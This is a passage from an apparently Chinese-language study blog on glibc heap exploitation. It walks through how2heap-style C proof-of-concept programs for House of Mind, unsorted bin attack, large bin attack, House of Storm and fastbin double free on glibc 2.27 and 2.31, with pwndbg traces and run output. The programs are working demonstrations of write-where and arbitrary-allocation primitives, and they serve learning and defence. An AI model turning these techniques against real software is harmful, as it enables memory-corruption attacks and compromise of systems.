printf("Fake Heap Info struct location: %p\n", fake_heap_info);
printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");

/*
The fake arena must be at a particular offset on the heap.
So, we allocate a bunch of chunks until our next chunk
will be in the arena. This value was calculated above.
*/
while((long long)user_mem < new_arena_value){
user_mem = malloc(MAX_SIZE);
}

// Use this later to trigger craziness
printf("Create fastbin sized chunk to be victim of attack\n");
uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60
uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem
printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);

printf("Fill up the TCache so that the fastbin will be used\n");
// Fill the tcache to make the fastbin to be used later.
uint64_t* tcache_chunks[7];
for(int i = 0; i < 7; i++){
tcache_chunks[i] = malloc(0x50);
}
for(int i = 0; i < 7; i++){
free(tcache_chunks[i]);
}


/*
Create a FAKE malloc_state pointer for the heap_state
This is the 'ar_ptr' of the 'heap_info' struct shown above.
This is the first entry in the 'heap_info' struct at offset 0x0
at the heap.
We set this to the location where we want to write a value to.
The location that gets written to depends on the fastbin chunk
size being freed. This will be between an offset of 0x8 and 0x40
bytes. For instance, a chunk with a size of 0x20 would be in the
0th index of fastbinsY struct. When this is written to, we will
write to an offset of 8 from the original value written.
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686
*/
printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena);
fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));

/*
Set the non-main arena bit on the size.
Additionally, we keep the size the same as the original
allocation because there is a sanity check on the fastbin (when freeing)
that the next chunk has a valid size.
When grabbing the non-main arena, it will use our choosen arena!
From there, it will write to the fastbin because of the size of the
chunk.
///// Vulnerability! Overwriting the chunk size
*/
printf("Set non-main arena bit on the fastbin chunk\n");
puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n");
chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit

//// End vulnerability

/*
The offset being written to with the fastbin chunk address
depends on the fastbin BEING used and the malloc_state itself.
In 2.27, the offset from the beginning of the malloc_state
to the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an
additional byte offset of 0x20. In total, the writing offset
from the arena location is 0x30 bytes.
from the arena location to where the write actually occurs.
This is a similar concept to bk - 0x10 from the unsorted
bin attack.
*/

printf("When we free the fastbin chunk with the non-main arena bit\n");
printf("set, it will cause our fake 'heap_info' struct to be used.\n");
printf("This will dereference our fake arena location and write\n");
printf("the address of the heap to an offset of the arena pointer.\n");

printf("Trigger the magic by freeing the chunk!\n");
free(fastbin_chunk); // Trigger the madness

// For this particular fastbin chunk size, the offset is 0x28.
printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
assert(*((unsigned long *) (target_loc)) != 0);
}

这个利用手法可以使得通过伪造arena以将一个chunk中的值变得很大,首先先malloc(0x1000)这里的空间是用来伪造arena的,所以用fake_arena来表示。

除了fake_arena还定义了HEAP_MAX_SIZE=0x4000000MAX_SIZE=(128*1024) - 0x100。接下来Set 'system_mem' (offset 0x888) for fake arena为什么需要这样?看下面的源码就可以知道了。

1
2
3
4
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");

chunksize_nomask(victim) > av-system_mem需要绕过这个条件,也就是请求的内存不能大于system_mem。所以我们才需要将system_mem设置为0xFFFFFF。还需要计算一下fake_arena的管理空间位置,后面会用到的。现在一直分配MAX_SIZE大小的chunk直到user_mem < new_arena_value,这里分配的是0x1ff00大小,为什么需要这个大小而不是更大的chunk?因为mmap_threshold=0x20000,它表示当用户分配大于0x20000的空间时,就不使用堆而是直接通过mmap获取了。malloc(0x50)到堆上,并填满tcache。

1
2
3
pwndbg> bin
tcachebins
0x60 [ 7]: 0x555558028790 —▸ 0x555558028730 —▸ 0x5555580286d0 —▸ 0x555558028670 —▸ 0x555558028610 —▸ 0x5555580285b0 —▸ 0x555558028550 ◂— 0x0

将fake_heap_info的ar_ptr给设置成fake_arena,接着Setting the non-main arena bit也就是修改0x60 chunk的non_main_arena标志位。释放掉第一次的0x50的堆块,这个时候libc会根据_heap_info的ar_ptr找到我们的假chunk并更改chunk的内容达到目的

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
House of Mind - Fastbin Variant
==================================
The goal of this technique is to create a fake arena
at an offset of HEAP_MAX_SIZE
Then, we write to the fastbins when the chunk is freed
This creates a somewhat constrained WRITE-WHERE primitive
Find initial location of the heap
Set 'system_mem' (offset 0x888) for fake arena
Target Memory Address for overwrite: 0x55555555b6a0
Must set data at HEAP_MAX_SIZE (0x4000000) offset
Fake Heap Info struct location: 0x555558000000
Allocate until we reach a MAX_HEAP_SIZE offset
Create fastbin sized chunk to be victim of attack
Fastbin Chunk to overwrite: 0x5555580284f0
Fill up the TCache so that the fastbin will be used
Setting 'ar_ptr' (our fake arena) in heap_info struct to 0x55555555b670
Target Write at 0x55555555b6a0 prior to exploitation: 0x0
Set non-main arena bit on the fastbin chunk
NOTE: This keeps the next chunk size valid because the actual chunk size was never changed

When we free the fastbin chunk with the non-main arena bit
set, it will cause our fake 'heap_info' struct to be used.
This will dereference our fake arena location and write
the address of the heap to an offset of the arena pointer.
Trigger the magic by freeing the chunk!
Target Write at 0x55555555b6a0: 0x5555580284e0

unsorted_bin_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
"instructions.\n");
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

volatile unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(0x410);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);

assert(stack_var != 0);
}

和2.23下的攻击手法差不多,申请出一个unsorted bin大小的chunk,并放入unsortedbin中,malloc(500)是为了防止与top_chunk合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555555b250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555555b250

假设有一个漏洞可以改unsortedbin的bk为stack_var - 2,再申请的时候会将stack_var这里的值改成Unsorted Bin的值,为什么?看下面的unsortedbin的摘除代码,如果控制了bk之后我们是不是就可以控制unsorted_chunks (av)到任意地址。

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/20gx 0x7fffffffdc70
0x7fffffffdc70: 0x00007fffffffdc90 0x0000555555555339
0x7fffffffdc80: 0x00007ffff7dcfca0 0x000055555555b260

pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55555555b250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555555b250
BK: 0x7fffffffdc70 —▸ 0x55555555b260 ◂— 0x0

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
This technique only works with buffers not going into tcache, either because the tcache-option for glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build instructions.
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7fffffffdd20: 0

Now, we allocate first normal chunk on the heap at: 0x55555555b260
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7ffff7dcfca0
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7fffffffdd10

Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten:
0x7fffffffdd20: 0x7ffff7dcfca0

large_bin_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
printf("In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

printf("Let's first look at the targets we want to rewrite on stack:\n");
printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
printf("Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
printf("Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
printf("Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

printf("And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
printf("We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
printf("Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
printf("Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

printf("Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
printf("Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

printf("Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

2.27下的large bin利用手法,首先在栈上申请两个变量 ,这两个变量用于最后的效果演示。然后malloc(0x420) p1,malloc(0x500) p2,malloc(0x500) p3。中间都放一个0x20大小的chunk为了防止合并。释放p1和p2,结构是p2->p1->main_arena+96

1
2
unsortedbin
all: 0x55555555b6b0 —▸ 0x55555555b250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555555b6b0

由于p1属于small bin范围,而p2属于large bin范围,所以在下面的malloc(0x90)操作,会将p1的一部分还在unsortedbin中而p2会进入large bin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0xa1

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b2f0
Size: 0x391
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk
Addr: 0x55555555b680
Size: 0x30

Free chunk (largebins) | PREV_INUSE
Addr: 0x55555555b6b0
Size: 0x511
fd: 0x7ffff7dd00d0
bk: 0x7ffff7dd00d0
fd_nextsize: 0x55555555b6b0
bk_nextsize: 0x55555555b6b0


unsortedbin
all: 0x55555555b2f0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555555b2f0
smallbins
empty
largebins
0x500: 0x55555555b6b0 —▸ 0x7ffff7dd00d0 (main_arena+1168) ◂— 0x55555555b6b0

接下来再将p3放入unsortedbin中,将largebin中的p2的size改成0x3f1,bk改成stack_var1 - 0x10,bk_nextsize改成stack_var2 - 0x20。

此时P2 --> bk --> fd就是stack_var1_addrP2 --> bk_nextsize --> fd_nextsize就是stack_var2_addr。

1
2
3
4
pwndbg> x/20gx 0x55555555b6b0
0x55555555b6b0: 0x0000000000000000 0x00000000000003f1
0x55555555b6c0: 0x0000000000000000 0x00007fffffffdc70
0x55555555b6d0: 0x0000000000000000 0x00007fffffffdc58

执行了malloc(0x90)之后p3会被挂进large bin中。在p3挂进large bin中时会判断一下p2和p3的size,看一下下面的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

如果p3_size < p2_size则执行对应的东西,若p3_size = p2_size则执行相应的东西,若p3_size > p2_size则执行相应的代码,而这里p3_size很明显大于p2_size,所以我们执行一些赋值操作。这正是我们想要的操作,什么操作呢?将p3插入large bin中并且设置p2和p3的fd_nextsize和bk_nextsize的操作。源码中的victim可以看成p3,fwd可以看成p2。

1
2
3
4
5
6
p3->fd_nextsize = p2
p3->bk_nextsize = p2->bk_nextsize
p2->bk_nextsize = p3
p3->bk_nextsize->fd_nextsize = p3
bck = p2->bk
这样子算的话,我们可以发现stack_var2 = p3

上面是对nextsize的设置接下来源码会对bk、fd进行设置。

1
2
3
4
5
6
7
8
9
10
          mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
p3->bk = p2->bk
p3->fd = p2
p2->bk = p3
p2->bk->fd = p3
由上面的条件我们可以得出stack_var1 = p3

所以最后的stack_var1和stack_var2都为p3

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
This file demonstrates large bin attack by writing a large unsigned long value into stack
In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the targets we want to rewrite on stack:
stack_var1 (0x7fffffffdd10): 0
stack_var2 (0x7fffffffdd08): 0

Now, we allocate the first large chunk on the heap at: 0x55555555b250
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()

Then, we allocate the second large chunk on the heap at: 0x55555555b6b0
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()

Finally, we allocate the third large chunk on the heap at: 0x55555555bbf0
And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()

We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x55555555b6b0 <--> 0x55555555b250 ]

Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x55555555b2f0 ]

Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x55555555bbf0 <--> 0x55555555b2f0 ]

Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers
Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2

Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:
stack_var1 (0x7fffffffdd10): 0x55555555bbf0
stack_var2 (0x7fffffffdd08): 0x55555555bbf0

house_of_storm(largebin + unsortedbin)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x60];
char target[0x60];

void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// clearenv();
}

// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){

int shift_amount = 0;
long long ptr = (long long)pointer;

while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}

return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}

int main(){

init();

char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
int* tcaches[7];

puts("House of Storm");
puts("======================================");
puts("Preparing chunks for the exploit");
puts("Put one chunk into unsorted bin and the other into the large bin");
puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0

// prevent merging
malloc ( 0x18 );

puts("Find the proper chunk size to allocate.");
puts("Must be exactly the size of the written chunk from above.");
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing on the 4th bit. If the 4th bit
of this value is set, then the size comparison will fail everytime.
- There is ANOTHER 1/4 chance of this failing (for the demo). Either
the mmap bit needs to be set or the non-main arena cannot be set.
- Without these calculations, this COULD be brute forced with relative
overwrites in a leakless fashion.
*/

int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %d\n", shift_amount);

size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
printf("In this case, the chunk size is 0x%lx\n", alloc_size);

// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.

So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Allocation size has bit 4 of the size set or ");
puts("mmap and non-main arena bit check will fail");
puts("Please try again! :)");
puts("Exiting...");
return 1;
}

// If the chunk would go into the TCache, we need to fill up
// the TCache in order to prevent TCache stashing from happening.
if(alloc_size < 0x410){
puts("Fill TCache of the allocation size amount if the size of the target chunk is a TCache size chunk (0x20-0x410)");
puts("Done to prevent usage of TCache stashing");


// Fill up the TCache for the proper size
for(int i = 0; i < 7; i++){
tcaches[i] = malloc(alloc_size);
}
for(int i = 0; i < 7; i++){
free(tcaches[i]);
}
}
else{
puts("Not filling up the TCache");
}

large_bin = malloc ( 0x4d8 ); // size 0x4e0
// prevent merging
malloc ( 0x18 );

// FIFO
free ( large_bin ); // put small chunks first
free ( unsorted_bin );

// Put the 'large bin' chunk into the large bin
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);

/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/

// The address that we want to write to!
fake_chunk = target - 0x10;

puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator");

/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk

// Only needs to be a valid address.
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd

puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
puts("of your fake chunk.");
puts("Misalign the location in order to use the primitive as a SIZE value.");
puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
puts("Vulnerability #2!");
puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
// The shift amount is used in order to calculate the proper offset
to write the chunk size at, depending on the size of the pointer.
This depends on the size of the pointer.
*/
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize

/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to calloc, will return a pointer
to the fake chunk that we created above.
*/

puts("Make allocation of the size that the value will be written for.");
puts("Once the allocation happens, the madness begins");
puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to ");
puts("write a fake 'size' value to the location of our target.");
puts("After this, the target will have a valid size.");
puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid");
puts("size and remove it from the bin.");
puts("With this, we have pulled out an arbitrary chunk!");

printf("String before: %s\n", target);
printf("String pointer: %p\n", target);

puts("Make a call to 'calloc' instead of 'malloc' in order to ");
puts("not use the TCache on the allocation. Had to fill TCache");
puts("because stashing would prevent the exploit from working");

// Arena_for_chunk macro may cause this to crash as well
// https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
ptr = calloc(alloc_size, 1);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);

printf("String after %s\n", target);
printf("Fake chunk ptr: %p\n", ptr);

return 0;
}

house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先malloc一个0x4e8,检查该chunk的地址最高非0位的值x,首先判断x是否小于0x10,x小于0x10不行,然后判断x的最低4位,3必须是0,2为1时1不能为0。总体的和2.23的一样,这里不再多说了包括largebin的应用上面都说了比较详细了。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
House of Storm
======================================
Preparing chunks for the exploit
Put one chunk into unsorted bin and the other into the large bin
The unsorted bin chunk MUST be larger than the large bin chunk.
Find the proper chunk size to allocate.
Must be exactly the size of the written chunk from above.
Shift Amount: 2
In this case, the chunk size is 0x30
Fill TCache of the allocation size amount if the size of the target chunk is a TCache size chunk (0x20-0x410)
Done to prevent usage of TCache stashing
Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.
This is our target location to get from the allocator
Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location
of your fake chunk.
Misalign the location in order to use the primitive as a SIZE value.
The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).
Vulnerability #2!
Overwrite large bins bk->nextsize with the address to put our fake chunk size at.
Make allocation of the size that the value will be written for.
Once the allocation happens, the madness begins
Once in the unsorted bin, the 'large bin' chunk will be used in orer to
write a fake 'size' value to the location of our target.
After this, the target will have a valid size.
Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid
size and remove it from the bin.
With this, we have pulled out an arbitrary chunk!
String before:
String pointer: 0x404100
Make a call to 'calloc' instead of 'malloc' in order to
not use the TCache on the allocation. Had to fill TCache
because stashing would prevent the exploit from working
String after ABCDEFG
Fake chunk ptr: 0x404100

2.31

fastbin_dup(double free)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}

和2.27一样的不多说了

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
This file demonstrates a simple double-free attack with fastbins.
Fill up tcache first.
Allocating 3 buffers.
1st calloc(1, 8): 0x55555555b3a0
2nd calloc(1, 8): 0x55555555b3c0
3rd calloc(1, 8): 0x55555555b3e0
Freeing the first one...
If we free 0x55555555b3a0 again, things will crash because 0x55555555b3a0 is at the top of the free list.
So, instead, we'll free 0x55555555b3c0.
